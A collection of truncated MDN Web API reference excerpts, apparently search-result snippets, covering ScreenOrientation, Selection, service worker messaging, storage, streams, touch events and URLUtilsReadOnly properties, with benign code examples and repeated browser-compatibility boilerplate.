the angle read-only property of the screenorientation interface returns the document's current orientation angle. syntax angle = screenorientation.angle value an unsigned short integer. specifications specification status comment screen orientation apithe definition of 'angle' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetanglechrome full support ...
ScreenOrientation.lock() - Web APIs
n an orientation lock type. one of the following: "any" "natural" "landscape" "portrait" "portrait-primary" "portrait-secondary" "landscape-primary" "landscape-secondary" return value a promise. specifications specification status comment screen orientation apithe definition of 'lock()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetlockchrome ...
ScreenOrientation.onchange - Web APIs
dler fired whenever is the eventhandler called when the screen changes orientation. syntax screenorientation.addeventlistener('change', function(e) { ... }) screenorientation.onchange = function(e) { ... } specifications specification status comment screen orientation apithe definition of 'onchange' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonchangechrome ...
ScreenOrientation.type - Web APIs
interface returns the document's current orientation type, one of "portrait-primary", "portrait-secondary", "landscape-primary", or "landscape-secondary". syntax type = screenorientation.type value a string. specifications specification status comment screen orientation apithe definition of 'type' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettypechrome ...
ScreenOrientation.unlock() - Web APIs
lock() property of the screenorientation interface unlocks the orientation of the containing document from its default orientation. syntax screenorientation.unlock() parameters none. return value void. specifications specification status comment screen orientation apithe definition of 'unlock()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetunlockchrome ...
ScreenOrientation - Web APIs
ientation of the containing document to its default orientation and returns a promise. screenorientation.unlock() unlocks the orientation of the containing document from its default orientation. specifications specification status comment screen orientation apithe definition of 'screenorientation' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscreenorientationchrome ...
Screen Orientation API - Web APIs
the screen orientation api provides information about the orientation of the screen. interfaces screenorientation specifications specification status comment screen orientation api working draft initial definition. browser compatibility screenorientation the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscreenorientationchrome full support 38edge full support ...
Screen Wake Lock API - Web APIs
wakelock object instance, from which all other functionality can be accessed. examples feature detection this code checks for wake lock support and updates the ui accordingly. if ('wakelock' in navigator) { issupported = true; statuselem.textcontent = 'screen wake lock api supported!'; } else { wakebutton.disabled = true; statuselem.textcontent = 'wake lock is not supported by this browser.'; } requesting a wake lock the following example demonstrates how to request a wakelocksentinel object. the wakelock.request method is promise based and so we can create an asynchronous function, which in turn updates the ui to reflect the wake lock is active. // create a reference for the wake lock let wakelock = null; // create an async function to request a wake lock const requestwakel...
ScriptProcessorNode - Web APIs
eatescriptprocessor() method is called (both are defined by audiocontext.createscriptprocessor()'s buffersize parameter). the buffer size must be a power of 2 between 256 and 16384, that is 256, 512, 1024, 2048, 4096, 8192 or 16384. small numbers lower the latency, but large number may be necessary to avoid audio breakup and glitches. if the buffer size is not defined, which is recommended, the browser will pick one that its heuristic deems appropriate. number of inputs 1 number of outputs 1 channel count mode "max" channel count 2 (not used in the default count mode) channel interpretation "speakers" properties inherits properties from its parent, audionode. scriptprocessornode.buffersize read only returns an integer r...
Selection.addRange() - Web APIs
the selection.addrange() method adds a range to a selection. syntax selection.addrange(range); parameters range a range object that will be added to the selection. example currently only firefox supports multiple selection ranges, other browsers will not add new ranges to the selection if it already contains one. html <p>i <strong>insist</strong> that you <strong>try</strong> selecting the <strong>strong words</strong>.</p> <button>select strong words</button> javascript let button = document.queryselector('button'); button.addeventlistener('click', function () { let selection = window.getselection(); let strongs = document.getelementsbytagname('strong'); if (selection.rangecount > 0) { selection.removeallranges(); } for (let i = 0; i < strongs.lengt...
Selection.extend() - Web APIs
Web › API › Selection › extend
end(node, offset) parameters node the node within which the focus will be moved. offset optional the offset position within node where the focus will be moved to. if not specified, the default value 0 is used. specifications specification status comment selection apithe definition of 'selection.extend()' in that specification. working draft current browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetextend experimentalchrom...
Selection.removeAllRanges() - Web APIs
n.removeallranges() method removes all ranges from the selection, leaving the anchornode and focusnode properties equal to null and leaving nothing selected. syntax sel.removeallranges(); parameters none. specifications specification status comment selection apithe definition of 'selection.removeallranges()' in that specification. working draft current browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetremoveallranges experime...
Selection.removeRange() - Web APIs
han one range can be selected. * this will remove all ranges except the first. */ s = window.getselection(); if(s.rangecount > 1) { for(var i = 1; i < s.rangecount; i++) { s.removerange(s.getrangeat(i)); } } specifications specification status comment selection apithe definition of 'selection.removerange()' in that specification. working draft current browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetremoverange experimental...
Selection.selectionLanguageChange() - Web APIs
try to avoid using it. ...
Selection.toString() - Web APIs
omatically when a function the selection object is passed to requires a string: alert(window.getselection()) // what is called alert(window.getselection().tostring()) // what is actually being effectively called. specifications specification status comment selection apithe definition of 'selection: tostring()' in that specification. working draft current browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettostring experimentalchr...
ServiceWorkerContainer.onmessage - Web APIs
the onmessage property of the serviceworkercontainer interface is an event handler fired whenever a message event occurs — when incoming messages are received to the serviceworkercontainer object (e.g., via a client.postmessage() call). note: messages received from service worker contexts (e.g. as the event object of onmessage) are represented by messageevent objects in modern browsers, for consistency with other web messaging features. (they used to be represented by serviceworkermessageevent objects, which have now been deprecated.) syntax serviceworkercontainer.onmessage = function(messageevent) { ... } example navigator.serviceworker.onmessage = function(messageevent) { console.log(`received data: ${messageevent.data}`); } specifications specification status ...
ServiceWorkerContainer - Web APIs
resolves to an array of serviceworkerregistration. serviceworkercontainer.startmessages() explicitly starts the flow of messages being dispatched from a service worker to pages under its control (e.g. sent via client.postmessage()). this can be used to react to sent messages earlier, even before that page's content has finished loading. examples the example below first checks to see if the browser supports service workers. if supported, the code registers the service worker and determines if the page is actively controlled by the service worker. if it isn't, it prompts the user to reload the page so the service worker can take control. the code also reports any registration failures. if ('serviceworker' in navigator) { // register a service worker hosted at the root of the // site u...
ServiceWorkerGlobalScope.onmessage - Web APIs
coming messages are received. note: service workers define the extendable event to allow extending the lifetime of the event. for the message event, service workers use the extendablemessageevent interface which extends the extendableevent interface. note: messages received from service worker contexts (e.g. as the event object of onmessage) are represented by messageevent objects in modern browsers, for consistency with other web messaging features. (they used to be represented by serviceworkermessageevent objects, which have now been deprecated.) syntax serviceworkerglobalscope.onmessage = function(extendablemessageevent) { ... }; example self.addeventlistener('message', function(messageevent) { console.log('handling message event:', messageevent); }) specifications s...
ServiceWorkerGlobalScope.onpushsubscriptionchange - Web APIs
previously, it was defined as the event interface that is fired whenever a push subscription has been invalidated (or is about to become so). this offers an opportunity to resubscribe in order to continue receiving push messages, if desired. ...
ServiceWorkerGlobalScope: pushsubscriptionchange event - Web APIs
the pushsubscriptionchange event is sent to the global scope of a serviceworker to indicate a change in push subscription that was triggered outside the application's control. this may occur if the subscription was refreshed by the browser, but it may also happen if the subscription has been revoked or lost. bubbles no cancelable no interface pushsubscriptionchangeevent event handler property onpushsubscriptionchange usage notes although examples demonstrating how to share subscription related information with the application server tend to use fetch(), this is not necessarily the best choice for real-world use, since it will not work if the app is offline, for example. consider using another method to synchronize subscription informat...
ServiceWorkerMessageEvent.ServiceWorkerMessageEvent() - Web APIs
service worker messages will now use the messageevent interface, for consistency with other web messaging features. the serviceworkermessageevent() constructor creates a new serviceworkermessageevent object instance. syntax var myswme = new serviceworkermessageevent(type, init); parameters type a domstring that defines the type of the message event being created. init optional an initialisation object, which should contain the following parameters: data: the event's data — this can be any type. origin: a domstring that defines the origin of the corresponding service worker's environment settings object. lasteventid: a domstring that defines the last event id of the event source. ...
ServiceWorkerMessageEvent.data - Web APIs
service worker messages will now use the messageevent interface, for consistency with other web messaging features. the data read-only property of the serviceworkermessageevent interface returns the event's data. it can be any data type. syntax var mydata = serviceworkermessageeventinstance.data; value any data type. examples when the following code is used inside the main thread to set up a message channel between it and a service worker for sending messages between the two, the event object of onmessage will be a serviceworkermessageevent. navigator.serviceworker.ready.then(function(reg) { ... ...
ServiceWorkerMessageEvent.lastEventId - Web APIs
service worker messages will now use the messageevent interface, for consistency with other web messaging features. the lasteventid read-only property of the serviceworkermessageevent interface represents, in server-sent events, the last event id of the event source. syntax var mylasteventid = serviceworkermessageeventinstance.lasteventid; value a domstring. examples when the following code is used inside the main thread to set up a message channel between it and a service worker for sending messages between the two, the event object of onmessage will be a serviceworkermessageevent. navigator.serviceworker.ready.then(function(reg) { ... ...
ServiceWorkerMessageEvent.origin - Web APIs
service worker messages will now use the messageevent interface, for consistency with other web messaging features. the origin read-only property of the serviceworkermessageevent interface returns the origin of the service worker's environment settings object. syntax var myorigin = serviceworkermessageeventinstance.origin; value a domstring. examples when the following code is used inside the main thread to set up a message channel between it and a service worker for sending messages between the two, the event object of onmessage will be a serviceworkermessageevent. navigator.serviceworker.ready.then(function(reg) { ... ...
ServiceWorkerMessageEvent.ports - Web APIs
service worker messages will now use the messageevent interface, for consistency with other web messaging features. the ports read-only property of the serviceworkermessageevent interface returns an array of messageport objects connected with the message channel the message is being sent through. syntax var myports = serviceworkermessageeventinstance.ports; value an array of messageport objects. examples when the following code is used inside the main thread to set up a message channel between it and a service worker for sending messages between the two, the event object of onmessage will be a serviceworkermessageevent. navigator.serviceworker.ready.then(function(reg) { ... ...
ServiceWorkerMessageEvent.source - Web APIs
service worker messages will now use the messageevent interface, for consistency with other web messaging features. the source read-only property of the serviceworkermessageevent returns a reference to the serviceworker object of the associated service worker that sent the message. syntax var mysource = serviceworkermessageeventinstance.source; value a serviceworker or messageport object. examples when the following code is used inside the main thread to set up a message channel between it and a service worker for sending messages between the two, the event object of onmessage will be a serviceworkermessageevent. navigator.serviceworker.ready.then(function(reg) { ... ...
ServiceWorkerMessageEvent - Web APIs
service worker messages will now use the messageevent interface, for consistency with other web messaging features. the serviceworkermessageevent interface of the serviceworker api contains information about an event sent to a serviceworkercontainer target. this extends the default message event to allow setting a serviceworker object as the source of a message. the event object is accessed via the handler function of a message event, when fired by a message received from a service worker. this interface inherits from the event interface. constructor serviceworkermessageevent.serviceworkermessageevent() creates a new serviceworkermessageevent object instance. ...
ServiceWorkerRegistration.navigationPreload - Web APIs
preloadmanager associated with the current service worker registration. syntax var navigationpreloadmanager = serviceworkerregistration.navigationpreload; value an instance of navigationpreloadmanager. specifications specification status comment service workersthe definition of 'navigationpreload' in that specification. working draft initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnavigationpreload experi...
ServiceWorkerRegistration.update() - Web APIs
note: this feature is available in web workers. syntax serviceworkerregistration.update(); parameters none. ...
SharedWorkerGlobalScope.applicationCache - Web APIs
ationcache read-only property of the sharedworkerglobalscope interface returns the applicationcache object for the worker (see using the application cache). syntax var nameobj = self.applicationcache; value an applicationcache. example if a shared worker has an appcache associated with it, you can return a reference to the cache using self.applicationcache from inside the shared worker. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetapplicationcachechrome ...
SharedWorkerGlobalScope.onconnect - Web APIs
ample, see our basic shared worker example (run shared worker.) note: the data property of the event object used to be null in firefox. as of version 65 it is now initialized to an empty string, as per spec (bug 1508824). specifications specification status comment html living standardthe definition of 'onconnect' in that specification. living standard browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonconnectchrome ...
SharedWorkerGlobalScope - Web APIs
herited from workerglobalscope workerglobalscope.self returns an object reference to the dedicatedworkerglobalscope object itself. workerglobalscope.console read only returns the console associated with the worker. workerglobalscope.location read only returns the workerlocation associated with the worker. workerlocation is a specific location object, mostly a subset of the location for browsing scopes, but adapted to workers. workerglobalscope.navigator read only returns the workernavigator associated with the worker. workernavigator is a specific navigator object, mostly a subset of the navigator for browsing scopes, but adapted to workers. workerglobalscope.performance read only returns the performance object associated with the worker, which is a regular performance object...
Slottable: assignedSlot - Web APIs
above, then log a reference to the original <slot> element the <span> was inserted in. let slottedspan = document.queryselector('my-paragraph span') console.log(slottedspan.assignedslot); // logs '<slot name="my-text">' specifications specification status comment domthe definition of 'assignedslot' in that specification. living standard initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetassignedslot experimenta...
Slottable - Web APIs
Web › API › Slottable
des to become the contents of a <slot> element — the following features are included in both element and text. properties slottable.assignedslot read only returns the <slot> the node is inserted in. methods none. specifications specification status comment domthe definition of 'slottable' in that specification. living standard initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetslottable experimentalch...
SpeechRecognition - Web APIs
your audio is sent to a web service for recognition processing, so it won't work offline. constructor speechrecognition.speechrecognition() creates a new speechrecognition object. ...
StereoPannerNode.StereoPannerNode() - Web APIs
indicating the position of an audionode in an output image. the value -1 represents full left and 1 represents full right. the default value is 0. return value a new stereopannernode object instance. specifications specification status comment web audio apithe definition of 'stereopannernode()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstereopannernode() cons...
Storage.setItem() - Web APIs
Web › API › Storage › setItem
dy exists. syntax storage.setitem(keyname, keyvalue); parameters keyname a domstring containing the name of the key you want to create/update. keyvalue a domstring containing the value you want to give the key you are creating/updating. return value undefined. exceptions setitem() may throw an exception if the storage is full. particularly, in mobile safari (since ios 5) it always throws when the user enters private mode. (safari sets the quota to 0 bytes in private mode, unlike other browsers, which allow storage in private mode using separate data containers.) hence developers should make sure to always catch possible exceptions from setitem(). example the following function creates three data items inside local storage. function populatestorage() { localstorage.setitem('b...
StorageManager.persist() - Web APIs
hen(function(persistent) { if (persistent) console.log("storage will not be cleared except by explicit user action"); else console.log("storage may be cleared by the ua under storage pressure."); }); specifications specification status comment storagethe definition of 'persist' in that specification. living standard initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpersistchrome ...
Storage API - Web APIs
y more data without some existing material being removed. user agents are likely to use various techniques to determine the quota for various origins. one of the most likely methods—one which the specification specifically encourages, in fact—would be to consider the popularity and/or usage levels of individual sites to determine what their quotas should be. it's also conceivable that the browser might offer a user interface to customize these quotas. box modes the actual data storage within each site storage unit is called its box. each site storage unit has exactly one box into which all of its data is placed, and has a box mode that describes the data retention policy for that box. there are two modes: "best-effort" the user agent will try to retain the data contained in the bo...
Using the Storage Access API - Web APIs
the storage access api should be used by embedded cross-origin documents to verify whether they have access to their first-party storage and, if not, to request access. we’ll briefly look at a common storage access scenario. usage notes the storage access api is designed to allow embedded content to request access to storage that would otherwise be blocked when a user’s browser is set to block all third-party cookies. since embedded content won’t know which storage policy is in use by the user, it’s best to always check whether the embedded frame has storage access before attempting to read or write from storage. this is particularly true for document.cookie access, as browsers will often return an empty cookie jar when third-party cookies are blocked. accessing a user's cookies ...
Using writable streams - Web APIs
table stream functionality. note: this article assumes that you understand the use cases of writable streams, and are aware of the high-level concepts. if not, we suggest that you first read the streams concepts and usage overview and dedicated streams api concepts article, then come back. note: if you are looking for information about readable streams, try using readable streams instead. browser support the streams api is experimental, and support is at an early stage right now. only chrome currently has basic writable streams implemented. introducing an example in our dom-examples/streams repo you’ll find a simple writer example (see it live also). this takes a given message and writes it into a writable stream, displaying each chunk on the ui as it is written to the stream and a...
Streams API - Web APIs
the streams api allows javascript to programmatically access streams of data received over the network and process them as desired by the developer. concepts and usage streaming involves breaking a resource that you want to receive over a network down into small chunks, then processing it bit by bit. this is something browsers do anyway when receiving assets to be shown on webpages — videos buffer and more is gradually available to play, and sometimes you'll see images display gradually as more is loaded. but this has never been available to javascript before. previously, if we wanted to process a resource of some kind (be it a video, or a text file, etc.), we'd have to download the entire file, wait for it to be deserialized into a suitable format, then process the whole lot...
TaskAttributionTiming.containerId - Web APIs
he iframe, embed or object etc. that is being implicated, on the whole, for a long task. syntax var containerid = taskattributiontiming.containerid; value a domstring containing the containers id attribute. specifications specification status comment long tasks api 1the definition of 'containerid' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcontainerid experimenta...
TaskAttributionTiming.containerType - Web APIs
ype of frame container, one of iframe, embed, or object. syntax var containertype = taskattributiontiming.containertype; value a domstring containing the container's type, one of iframe, embed, or object. specifications specification status comment long tasks api 1the definition of 'containertype' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcontainertype experimen...
HTMLSlotElement.assignedSlot - Web APIs
Web › API › Text › assignedSlot
the assignedslot property of the text interface returns the htmlslotelement object associated with the element. syntax var htmlslotelement = text.assignedslot value a htmlslotelement object. specifications specification status comment domthe definition of 'assignedslot' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetassignedslotchrome full support ...
TextDecoder() - Web APIs
'iso-2022-jp' "csshiftjis", "ms_kanji", "shift-jis", "shift_jis", "sjis", "windows-31j", "x-sjis" 'shift-jis' "cseuckr", "csksc56011987", "euc-kr", "iso-ir-149", "korean", "ks_c_5601-1987", "ks_c_5601-1989", "ksc5601", "ksc_5601", "windows-949" 'euc-kr' "csiso2022kr", "iso-2022-kr" 'iso-2022-...
TextEncoder() - Web APIs
nce firefox 48 and chrome 53 note: prior to firefox 48 and chrome 53, an encoding type label was accepted as a paramer to the textencoder object, since then both browers have removed support for any encoder type other than utf-8, to match the spec. any type label passed into the textencoder constructor will now be ignored and a utf-8 textencoder will be created. exceptions textencoder() throws no exceptions since firefox 48 and chrome 53 note: prior to firefox 48 and chrome 53 an exception would be thrown for an unknown encoding type. specifications specification status comment encodingthe definition of 'textencoder()' in that specification. living standard initial definition ...
TextTrackList.length - Web APIs
s of type texttrack. example this snippet gets the number of text tracks in the first media element found in the dom by queryselector(). var mediaelem = document.queryselector("video, audio"); var numtexttracks = 0; if (mediaelem.texttracks) { numtexttracks = mediaelem.texttracks.length; } note that this sample checks to be sure htmlmediaelement.texttracks is defined, to avoid failing on browsers without support for texttrack. specifications specification status comment html living standardthe definition of 'texttracklist: length' in that specification. living standard ...
Touch.clientX - Web APIs
Web › API › Touch › clientX
the viewport, not including any scroll offset. syntax touchitem.clientx; return value a long representing the x coordinate of the touch point relative to the viewport, not including any scroll offset. example this example illustrates using the touch object's touch.clientx and touch.clienty properties. the touch.clientx property is the horizontal coordinate of a touch point relative to the browser's viewport excluding any scroll offset. the touch.clienty property is the vertical coordinate of the touch point relative to the browser's viewport excluding any scroll offset . in this example, we assume the user initiates a touch on an element with an id of source, moves within the element or out of the element and then releases contact with the surface. when the touchend event handler is in...
Touch.clientY - Web APIs
Web › API › Touch › clientY
the touch.clienty read-only property returns the y coordinate of the touch point relative to the browser's viewport, not including any scroll offset. syntax touchitem.clienty; return value a long value representing the y coordinate of the touch point relative to the viewport, not including any scroll offset. example this example illustrates using the touch object's touch.clientx and touch.clienty properties. the touch.clientx property is the horizontal coordinate of a touch point relative to the browser's viewport excluding any scroll offset. the touch.clienty property is the vertical coordinate of the touch point relative to the browser's viewport excluding any scroll offset . in this example, we assume the user initiates a touch on an element with an id of source, moves within the el...
Touch - Web APIs
Web › API › Touch
this lets you ensure that you're tracking the same touch all the time. touch.screenx read only returns the x coordinate of the touch point relative to the left edge of the screen. touch.screeny read only returns the y coordinate of the touch point relative to the top edge of the screen. touch.clientx read only returns the x coordinate of the touch point relative to the left edge of the browser viewport, not including any scroll offset. touch.clienty read only returns the y coordinate of the touch point relative to the top edge of the browser viewport, not including any scroll offset. touch.pagex read only returns the x coordinate of the touch point relative to the left edge of the document. unlike clientx, this value includes the horizontal scroll offset, if any. touch.pagey r...
UIEvent.pageX - Web APIs
Web › API › UIEvent › pageX
a standardized version of pagex was added to the mouseevent interface, however, and is well-supported. you should not expect to find pagex on any non-mouse events. do not look for pagex on any non-mouse events in new code and update existing code as soon as possible. ...
UIEvent.view - Web APIs
Web › API › UIEvent › view
syntax var view = event.view; view is a reference to an abstractview object. specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'uievent' in that specification. obsolete from document object model (dom) level 2 events specification, changed the type of view from abstractview to windowproxy. ...
URL.origin - Web APIs
Web › API › URL › origin
perty of the url interface returns a usvstring containing the unicode serialization of the origin of the represented url. the exact structure varies depending on the type of url: for http or https urls, the scheme followed by '://', followed by the domain, followed by ':', followed by the port (the default port, 80 and 443 respectively, if explicitely specified). for file: urls, the value is browser dependant. for blob: urls, the origin of the url following blob: will be used, e.g "blob:https://mozilla.org" will be returned as "https://mozilla.org". note: this feature is available in web workers. syntax const originstring = url.origin value a usvstring. examples const url = new url("blob:https://mozilla.org:443/") console.log(url.origin); // logs 'https://mozilla.org' specifica...
URL.revokeObjectURL() - Web APIs
note: this feature is available in web workers. note: this method is not available from service workers, due to issues with the blob interface's life cycle and the potential for leaks. ...
URL.search - Web APIs
Web › API › URL › search
note: this feature is available in web workers. syntax const searchparams = object.search url.search = newsearchparams value a usvstring. ...
URL.search - Web APIs
Web › API › URL › search?q=123
note: this feature is available in web workers. syntax const searchparams = object.search url.search = newsearchparams value a usvstring. ...
URLUtilsReadOnly.hash - Web APIs
s not percent encoded. syntax string = object.hash; examples // in a web worker, on the page https://developer.mozilla.org/docs/urlutilsreadonly.hash#example var result = window.self.hash; // returns:'#hash' specifications specification status comment urlthe definition of 'urlutilsreadonly.hash' in that specification. living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internethash experimentalchrome ...
URLUtilsReadOnly.host - Web APIs
ort of the url. syntax string = object.host; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.host var result = window.self.host; // returns:'developer.mozilla.org:80' specifications specification status comment urlthe definition of 'urlutilsreadonly.host' in that specification. living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internethost experimentalchrome ...
URLUtilsReadOnly.hostname - Web APIs
l. syntax string = object.hostname; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.hostname var result = window.self.hostname; // returns:'developer.mozilla.org' specifications specification status comment urlthe definition of 'urlutilsreadonly.hostname' in that specification. living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internethostname experimentalchr...
URLUtilsReadOnly.href - Web APIs
ring = object.href; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.href var result = window.self.href; // returns:'https://developer.mozilla.org/urlutilsreadonly.href' specifications specification status comment urlthe definition of 'urlutilsreadonly.href' in that specification. living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internethref experimentalchrome ...
URLUtilsReadOnly.pathname - Web APIs
yntax string = object.pathname; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.pathname var result = window.self.pathname; // returns:'/urlutilsreadonly.pathname' specifications specification status comment urlthe definition of 'urlutilsreadonly.pathname' in that specification. living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpathname experimentalchr...
URLUtilsReadOnly.port - Web APIs
ontaining the port number of the url. syntax string = object.port; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.port var result = window.self.port; // returns:'80' specifications specification status comment urlthe definition of 'urlutilsreadonly.port' in that specification. living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetport experimentalchrome ...
URLUtilsReadOnly.protocol - Web APIs
luding the final ':'. syntax string = object.protocol; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.href var result = window.self.protocol; // returns:'https:' specifications specification status comment urlthe definition of 'urlutilsreadonly.protocol' in that specification. living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetprotocol experimentalchr...
URLUtilsReadOnly.search - Web APIs
meters of the url. syntax string = object.search; examples // in a web worker, on the page https://developer.mozilla.org/docs/urlutilsreadonly.href?t=67 var result = window.self.search; // returns:'?t=67' specifications specification status comment urlthe definition of 'urlutilsreadonly.search' in that specification. living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsearch experimentalchrom...
URLUtilsReadOnly.toString() - Web APIs
